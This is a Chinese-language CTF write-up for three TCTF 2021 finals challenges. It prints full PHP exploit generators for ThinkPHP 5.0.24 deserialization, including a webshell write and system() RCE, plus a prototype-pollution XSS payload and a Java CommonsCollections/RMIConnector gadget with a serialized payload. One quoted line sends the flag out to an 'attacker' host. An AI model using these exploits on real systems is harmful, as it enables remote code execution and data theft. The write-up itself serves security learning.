TCTF2021-final-writeup
TCTF2021-Final-WriteUp
开学后跟着NeSe
的第一场比赛,学到很多东西。挑了三个有意思的题,讲一讲有趣的部分
tp5.0.24反序列化
0x01-任意文件写
tp5.0.24有一条经典的写文件gadget
,参考文章:ThinkPHP5.0.x RCE分析与利用。参考文章中反序列化入口__destruct
至任意文件写入sink
的调用栈如下
think\cache\driver\File->set()
think\session\driver\Memcached->write()
think\console\Output->write()
think\console\Output->writeln()
think\console\Output->block()
think\console\Output->call_user_func_array
think\console\Output->__call()
think\console\Output->getAttr()
think\model\Pivot->toArray()
think\model\Pivot->toJson()
think\model\Pivot->__toString()
think\process\pipes\Windows>file_exists()
think\process\pipes\Windows->removeFiles()
think\process\pipes\Windows->__destruct()
由于参考文章写的比较详细,这里就简单对该链做个小结。此链关键的调用在/thinkphp/library/think/Model.php#912
满足if
条件的构造后$value
值仍可控,此时攻击者可以赋值$value
为任意对象,在调用getAttr
方法时转而调用该对象中的__call
方法,继而链接后续的利用。该gadget
的原作者利用think\console\Output
中的__call
方法衔接,从而在Output
对象的block
方法中进一步深挖到任意文件写操作
可利用如下exp
生成序列化数据,关于if
条件的构造直接阅读exp
也比较直观。
<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{
}
class Windows extends Pipes{
private $files = [];
function __construct(){
$this->files = [new Pivot()];
}
}
namespace think\model;#Relation
use think\db\Query;
abstract class Relation{
protected $selfRelation;
protected $query;
function __construct(){
$this->selfRelation = false;
$this->query = new Query();#class Query
}
}
namespace think\model\relation;#OneToOne HasOne
use think\model\Relation;
abstract class OneToOne extends Relation{
function __construct(){
parent::__construct();
}
}
class HasOne extends OneToOne{
protected $bindAttr = [];
function __construct(){
parent::__construct();
$this->bindAttr = ["no","123"];
}
}
namespace think\console;#Output
use think\session\driver\Memcached;
class Output{
private $handle = null;
protected $styles = [];
function __construct(){
$this->handle = new Memcached();//目的调用其write()
$this->styles = ['getAttr'];
}
}
namespace think;#Model
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;
abstract class Model{
protected $append = [];
protected $error;
public $parent;#修改处
protected $selfRelation;
protected $query;
protected $aaaaa;
function __construct(){
$this->parent = new Output();#Output对象,目的是调用__call()
$this->append = ['getError'];
$this->error = new HasOne();//Relation子类,且有getBindAttr()
$this->selfRelation = false;//isSelfRelation()
$this->query = new Query();
}
}
namespace think\db;#Query
use think\console\Output;
class Query{
protected $model;
function __construct(){
$this->model = new Output();
}
}
namespace think\session\driver;#Memcached
use think\cache\driver\File;
class Memcached{
protected $handler = null;
function __construct(){
$this->handler = new File();//目的调用File->set()
}
}
namespace think\cache\driver;#File
class File{
protected $options = [];
protected $tag;
function __construct(){
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[pzq]);?>',
'data_compress' => false,
];
$this->tag = true;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
0x02-rce
这个链的利用是结合了0x01章节
文件写的前部链,加thinkphp5.1.37反序列化中的RCE
部分,调用栈如下
Request.php:1094, think\Request->filterValue()
Request.php:1040, think\Request->input()
Request.php:706, think\Request->get()
Memcache.php:66, think\cache\driver\Memcache->has()
Memcache.php:98, think\cache\driver\Memcache->set()
Memcached.php:102, think\session\driver\Memcached->write()
Output.php:154, think\console\Output->write()
Output.php:143, think\console\Output->writeln()
Output.php:124, think\console\Output->block()
Output.php:212, call_user_func_array:{/Applications/MxSrvs/www/nese.localhost.com/revenge/thinkphp/library/think/console/Output.php:212}()
Output.php:212, think\console\Output->__call()
Model.php:912, think\console\Output->getAttr()
Model.php:912, think\model\Pivot->toArray()
Model.php:936, think\model\Pivot->toJson()
Model.php:2267, think\model\Pivot->__toString()
Windows.php:163, file_exists()
Windows.php:163, think\process\pipes\Windows->removeFiles()
Windows.php:59, think\process\pipes\Windows->__destruct()
对比0x01
的调用栈,很明显能够看出在think\session\driver\Memcached->write()
之前的调用与0x01
完全相同。
public function write($sessID, $sessData)
{
return $this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']);
}
而此链在调用write
方法时,将$this->handler
指向think\cache\driver\Memcache
对象,跟进调用Memcahce->set
的核心代码如下
public function set($name, $value, $expire = null){
...
}
if ($this->tag && !$this->has($name)) {
$first = true;
}
$key = $this->getCacheKey($name);
...
}
继续跟进$this->has($name)
后紧接着调用$this->handler->get($key);
public function has($name)
{
$key = $this->getCacheKey($name);
return false !== $this->handler->get($key);
}
既然此处的$this->handler
依然可控,我们就可以拼接上参考文章的后半部分,使$this->handler
指向think\Request
对象,进而调用其get
方法如下
关于think\Request
如何构造rce
完全可以参考上面(5.1.37反序列化)的文章。这里我们只需要调整$this->get
参数,意即$_GET
数组中存在$name
为键名的键值对,后续的rce
所用的commond
会从$_GET[$name]
中获取到。至于如何拿到$name
值,大家调试一下会比较清楚。这里给出我的exp
,http-get
传递rce
指令为?hpdoger<getAttr>no<=whoami
<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{
}
class Windows extends Pipes{
private $files = [];
function __construct(){
$this->files = [new Pivot()];
}
}
namespace think\model;#Relation
use think\db\Query;
abstract class Relation{
protected $selfRelation;
protected $query;
function __construct(){
$this->selfRelation = false;
$this->query = new Query();#class Query
}
}
namespace think\model\relation;#OneToOne HasOne
use think\model\Relation;
abstract class OneToOne extends Relation{
function __construct(){
parent::__construct();
}
}
class HasOne extends OneToOne{
protected $bindAttr = [];
function __construct(){
parent::__construct();
$this->bindAttr = ["no","123"];
}
}
namespace think\console;#Output
use think\session\driver\Memcached;
class Output{
private $handle = null;
protected $styles = [];
function __construct(){
$this->handle = new Memcached();//目的调用其write()
$this->styles = ['getAttr'];
}
}
namespace think;#Model
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;
abstract class Model{
protected $append = [];
protected $error;
public $parent;#修改处
protected $selfRelation;
protected $query;
protected $aaaaa;
function __construct(){
$this->parent = new Output();#Output对象,目的是调用__call()
$this->append = ['getError'];
$this->error = new HasOne();//Relation子类,且有getBindAttr()
$this->selfRelation = false;//isSelfRelation()
$this->query = new Query();
}
}
namespace think\db;#Query
use think\console\Output;
class Query{
protected $model;
function __construct(){
$this->model = new Output();
}
}
namespace think\session\driver;#Memcached
use think\cache\driver\Memcache;
class Memcached{
protected $handler = null;
function __construct(){
// $this->handler = new File();//目的调用File->set()
$this->handler = new Memcache();
}
}
namespace think\cache\driver;
use think\Request;
class Memcache
{
protected $handler;
protected $options;
protected $tag;
public function __construct()
{
$this->tag = true;
$this->options['prefix'] = 'hpdoger';
$this->handler = new Request();
}
}
namespace think;
class Request
{
protected $filter='system';
protected $param = [];
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
那么以我这个exp
而言$name
为hpdoger<getAttr>no<
0x03-文件包含
在比赛过程中,mads
和张师傅
发现另一条sink
为任意文件包含操作,代码位置在thinkphp/library/think/cache/driver/Lite.php#get
如何调用到Lite#get
操作?与0x02部分
的调用栈几乎完全相同,只需将think\Request
对象换为think\cache\driver\Lite
。
get
函数这里跟进getCacheKey
可以读出include
所需文件名的生成规则,因此我们只需要利用0x01
部分的任意文件写入即可联动write->include
protected function getCacheKey($name)
{
return $this->options['path'] . $this->options['prefix'] . md5($name) . '.php';
}
值得注意的是在get
函数中会对文件进行时间戳的判定,先上传的文件会被删除。那这里就需要我们竞争地向服务器中写入文件
$mtime = filemtime($filename);
if ($mtime < time()) {
// 清除已经过期的文件
unlink($filename);
return $default;
}
至于利用和exp
,看了0x02
部分应该不难写出~
useCTF
题目功能简单,以react
为前端框架,express
为后端。大致的思路是prototype pollution
=>xss
=>steal flag
题目代码量不小,这里分步骤来介绍。由于笔者比赛时在steal flag
步骤被卡,这部分会重点讲解。赛后请教了宇宙第一ctfer@zsx(zxsyyds)后学习了另一种非预期的解法,这里也会一并归纳
react
首先讲一下react
框架基础,笔者也是做题时第一次接触并尝试debug
。总的来说react
是组件化的框架,开发者将html
中的各部分元素封装为不同的组件
,调用Props
属性传递变量,各个组件维护自己的状态和UI
,这些组件的渲染由react
提供的render
函数负责。当组件状态state
有更改的时候,React
会自动调用组件的render
方法重新渲染整个组件的UI
prototype pollution
react
路由在渲染/submit
页面时使用useEffect
注册了hook
函数
useEffect(() => {
const queries = {}
parseStr(location.search.replace('?', ''), queries)
setName(queries.name || '')
setEmail(queries.email || '')
setPhone(queries.phone || '')
window.fetch(`${baseAPI}get-flag`)
.then(a => a.text())
.then(a => {
const s = a.split('')
let index = 0
const fn = () => {
setFlag(s[index++])
if (index < s.length) {
setTimeout(fn, 100)
}
}
fn()
})
}, [])
parseStr
的参数为用户完全可控,然而这里的parseStr
来自于locutus/php/strings
;虽然parseStr
最新版本修复了之前的prototype pollution
,禁止用户传递参数时携带如下字段
但重点看parse部分逻辑,在解析时遇到.|[|
字段会被替换为字段_
if (chr === ' ' || chr === '.' || chr === '[') {
keys[0] = keys[0].substr(0, j) + '_' + keys[0].substr(j + 1)
}
那我们就可以用__proto_.
轻易绕过对关键字__proto__
的检测
XSS
XSS部分相对简单,只是不易发现。Submit.js
是处理/submit
路由的逻辑,在渲染页面时使用useEffect
注册了钩子函数如下,name
属性值来自url
传递可控
useEffect(() => {
if (name !== 'Loading') {
notify(`Dear ${name}, welcome!`, 'info')
}
}, [name])
notify
函数引入自reapop
用来作页面提示,将消息实时渲染给前端用户。跟踪库函数的代码发现notify
初始化时会检测参数allowHTML
是否存在,如果allowHTML
存在则允许notify
渲染的消息中包含html
至此我们可以借助原型链污染allowHTML
参数后在name
属性值插入我们的xss payload
http://localhost:3000/submit?__proto_.[allowHTML]=1&name=<svg/onload%3dalert(1)>
steal flag
这一部分是题目的难点,首先让我们看看难在哪里
后端express
关于/get-flag
路由的逻辑如下
app.get('/get-flag', async (req, res) => {
const secret = req.cookies[cookieName] ? req.cookies[cookieName] : ''
res.clearCookie(cookieName)
if (cookieNonce.has(secret)) {
cookieNonce.delete(secret)
res.write(flag)
res.end()
} else {
res.write('sample{Welcome to get flag}')
res.end()
}
})
同时,react
关于/submit
路由渲染时会主动调用如下代码
const [flag, setFlag] = useState('')
window.fetch(`${baseAPI}get-flag`)
.then(a => a.text())
.then(a => {
const s = a.split('')
let index = 0
const fn = () => {
setFlag(s[index++])
if (index < s.length) {
setTimeout(fn, 100)
}
}
fn()
})
关于此障碍点总结:管理员在访问路由/submit
时会进行一次fetch get-flag
的请求,而cookieNonce
只存储了一个临时secret
。由于我们的xss
发生在/submit
页面,所以当我们用javascript
再次对/get-flag
进行请求时,cookieNonce
已经被管理员的第一次访问置空,从而无法获取flag
。
而这段window.fetch
的代码也比较诡异,它使用setFlag
不断更新flag
字段。
const [flag, setFlag] = useState('')
const fn = () => {
setFlag(s[index++])
if (index < s.length) {
setTimeout(fn, 100)
}
}
useState
是关于状态值的提取和更新,它存储的属性值会被挂在Fibernode
的memoizedState
上,如图
看了上图后可能会好奇Fibernode
是什么?其实,在react
中有一个比较重要的概念叫做Fibernode
,它构成react
生命周期中Node Tree
数据结构上的节点。我们知道react
是基于(组件)运行的框架,任何ReactComponent
都会被绑定在Fibernode
上。Component
的生成是用JSX
来描述的,例如:
<App>
<Router>
</Router>
</App>
此时这两个Component
会绑定在两个Fibernode
上,根节点指向App
这个组件实例,它的子节点child
指向Router
组件实例。而react
生命周期中的路由函数
、provider
都可以看作是Component
,能够遍历Node Tree
得到。
除此之外,react
调用render
或者更新DOM节点
,本质都是在对Node Tree
中某一Fibernode
的操作。
上图所示,遍历整个树的过程属于深度优先,一旦到达叶子节点,就开始创建FiberNode
对应的实例,例如对应的DomElement
实例,节点内容即在属性workInProgress.memoizedProps
中,最后DomElement
实例通过__reactInternalInstance$[randomKey]
属性建立与自己的FiberNode
的联系.
回到题目,我们需要获取submit
函数组件实例绑定的Fibernode
,从而在它的链表(memoizedState
)里获得setFlag
设置的flag
更新值。
那么从根节点DOM元素.App
来追踪,第十个child
指向submit
函数组件所绑定的Fibernode
最终在该Fibernode
的链表中,遍历得到第四个节点为flag
最后更新的属性值,其实也可以查代码中的useState
个数来确定flag
所在的链表节点数。
至此我们只要通过js
设置一个计时器,不断获取flag
更新后的lastRenderedState
值并外带直到获取完全flag
,参考exp
如下
exp = `const app = document.querySelector('.App')
const key = Object.keys(document.querySelector(".App"))[0]
let ifiber = app[key]
let st = setInterval(()=>{
let c = ifiber.child.child.child.child.child.child.child.child.child.child.memoizedState.next.next.next.next.queue.lastRenderedState;
console.log(c)
if(c == "}"){
clearInterval(st)
}
}, 100)`
payload = btoa(exp)
encodeURIComponent(`<svg/onload=eval(atob("${payload}"))>`)
这里再提一下非预期@ROIS:污染String.prototype.split=function(s){fetch('//attacker/flag?'+this.toString())};
,来看下图代码执行的步骤就能理解
window.fetch
会在所有同步JS
代码执行完成后再异步,这里涉及到一些v8
异步IO
的知识。通常网络请求
类异步函数(fetch)和setTimeout
都是在代码段的最后再去执行,因此我们在notify
部分执行xss payload
,能够影响fetch
回调函数中的a.split
操作,从而将flag
实参传递出来
参考链接
bugglyloader
出题人裸给了反序列化接口/buggy
逻辑如下
public class IndexController {
@RequestMapping({"/buggy"})
public String index(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
byte[] b = Utils.hexStringToBytes(data);
InputStream inputStream = new ByteArrayInputStream(b);
MyObjectInputStream myObjectInputStream = new MyObjectInputStream(inputStream);
String name = myObjectInputStream.readUTF();
int year = myObjectInputStream.readInt();
if (name.equals("0CTF/TCTF") && year == 2021)
myObjectInputStream.readObject();
return "index";
}
}
题目给出环境存在依赖commons-collections-3.2.1
,因为题目作者在反序列化时实现了自己的MyObjectInputStream
,它将自身的classloader
设置为URLClassLoader
,并调用loadClass
载入类实例
这要求在反序列化时不能存在数组对象,否则Class.forName
会在动态加载类进内存时报Class not found
的错误,这一部分在白猪师傅关于shiro反序列化的文章已有说明,不再赘述。
首先简单回顾一下yso
中的CC
利用,以transfrom
函数调用为核心点
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, `iParamTypes`);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
公开的sink
大致可以分为ChainedTransformer
链式调用Runtime.getRuntime().exec()
和TemplatesImpl.newTransformer
调用defineClass
进行RCE
。前者需要构造iTransformers
数组导致无法利用,后者在shiro
中能够利用,详情也可以参考:关于shiro反序列
那么我们回到本题,重点探讨一下为什么TemplatesImpl.newTransformer
无法利用?这里我们需要明确一个概念,Class.forName
只能够加载8个基本类型
的数组对象实例
,这8个类型分别为
shiro-1.2.4
环境中,进行类加载的Classloader
为ParallelWebappClassLoader
,它继承自WebappClassLoaderBase
在动态加载类时会调用cl.loadClass
即ParallelWebappClassLoader.loadClass
进一步向上委派到WebappClassLoaderBase.loadClass
如下代码段所示,这里面的逻辑就比较有意思了。例如我们想要装载类为byte
类型的二维数组,此时的name
值为[[B
。在clazz = this.findClass(name)
并不能找到[[B.class
,但在第一个catch
中并没有直接抛出异常,而是向后继续执行判断!delegateLoad
成立后再去调用Class.forName
来加载基本数据类型的数组对象实例
public Class<?> loadClass(String name, boolean resolve){
try {
clazz = this.findClass(name);
if (resolve) {
this.resolveClass(clazz);
}
var10000 = clazz;
return var10000;
}catch (ClassNotFoundException var17) {
}
if (!delegateLoad) {
try {
clazz = Class.forName(name, false, this.parent);
if (clazz == null) {
throw new ClassNotFoundException(name);
}
...
} catch (ClassNotFoundException var14) {
throw new ClassNotFoundException(name);
}
}
}
跟进Class.forName
后也能看到,在内部调用forName0
加载到了[[B
类型的Class
能加载数组对象实例
这一点至关重要,我们可以看到在TemplatesImpl
利用点的构造中,_bytecodes
属性值中写入了一个二维byte
数组作恶意的字节码。
而在题目环境中this.classLoader
直接指向URLClassloader
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
Class<?> clazz = this.classLoader.loadClass(desc.getName());
return clazz;
}
此时调用其内部的URLClassloader.findClass
去寻找类的过程中,并不能找到[[B.class
这样的编译文件,于是直接抛出异常报错。
protected Class<?> findClass(final String name)
throws ClassNotFoundException
{
final Class<?> result;
try {
result = AccessController.doPrivileged(
new PrivilegedExceptionAction<Class<?>>() {
public Class<?> run() throws ClassNotFoundException {
String path = name.replace('.', '/').concat(".class");
Resource res = ucp.getResource(path, false);
if (res != null) {
try {
return defineClass(name, res);
} catch (IOException e) {
throw new ClassNotFoundException(name, e);
}
} else {
return null;
}
}
}, acc);
} catch (java.security.PrivilegedActionException pae) {
throw (ClassNotFoundException) pae.getException();
}
if (result == null) {
throw new ClassNotFoundException(name);
}
return result;
}
总结地来说,TemplatesImpl
之所以能在shiro
的环境利用成功,因为其Classloader
是URLClassloader
的子类WebappClassLoaderBase
,它重写了loadClass
方法,使用Class.forName
来加载8个基本类型的数组对象Class
。而URLClassloader
的loadClass
并没有Class.forName
的操作,无法加载数组对象Class
,于是_bytecodes
在还原时抛出异常
new gadgets
于是现在的目标变为寻找TemplatesImpl
的替代品:寻找一处反射调用的sink
,并且在整个利用中不存在数组对象,最终借助白猪师傅的tabby
工具(yyds)找到了利用点javax.management.remote.rmi.RMIConnector#findRMIServerJRMP
这个利用点巧妙的地方在于,此处的base64
属性值可控,截取自内部的成员变量this.jmxServiceURL
,将base64
解码成字节码后,对其进行反序化操作,且使用的是ObjectInputStream
!
我们只需要在base64
构造一个能打common-collections-3.2.1
的反序列化数据就行,相当于这里二次反序列化了。整个链构造起来比较简单,参考白猪师傅的ÇC10
即可,exp
如下
package com.yxxx.buggyLoader;
import org.apache.commons.collections.Factory;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.PrototypeFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import javax.management.modelmbean.ModelMBeanOperationInfo;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.net.URL;
import java.net.URLConnection;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Random;
public class Payload {
public static void main(String[] args) throws Exception {
String b64str = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAACBsr+ur4AAAAzABwBAB95c29zZXJpYWwvUHduZXIxMTgxMTI3MDA3NDc3NDc1BwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBABpQd25lcjExODExMjcwMDc0Nzc0NzUuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BAChvcGVuIC9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwCAAQAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEgATCgALABQBAA1TdGFja01hcFRhYmxlAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAFwEABjxpbml0PgwAGQAICgAYABoAIQACABgAAAAAAAIACAAHAAgAAQAJAAAAJAADAAIAAAAPpwADAUy4AA8SEbYAFVexAAAAAQAWAAAAAwABAwABABkACAABAAkAAAARAAEAAQAAAAUqtwAbsQAAAAAAAQAFAAAAAgAGdXEAfgAOAAAB1Mr+ur4AAAAyABsKAAMAFQcAFwcAGAcAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADRm9vAQAMSW5uZXJDbGFzc2VzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAGgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgAAQABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAC4ADgAAAAwAAQAAAAUADwASAAAAAgATAAAAAgAUABEAAAAKAAEAAgAWABAACXB0AARQd25ycHcBAHhzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAJWwALaVBhcmFtVHlwZXNxAH4ACHhwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAHQADm5ld1RyYW5zZm9ybWVydXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAAAc3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHh0AAF0eA==";
RMIConnector rmiConnector = new RMIConnector(new JMXServiceURL("service:jmx:rmi://asd/stub/" + b64str), new HashMap<>());
final InvokerTransformer transformer = new InvokerTransformer("toString", null, null);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry entry = new TiedMapEntry(lazyMap, rmiConnector);
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = null;
innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = new Object[0];
array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
Reflections.setFieldValue(transformer, "iMethodName", "connect");
String payload = Utils.objectToHexString(map);
System.out.println(payload);
}
}
在b64str
字段替换为反序列化打Common-collections-3.2.1
的数据即可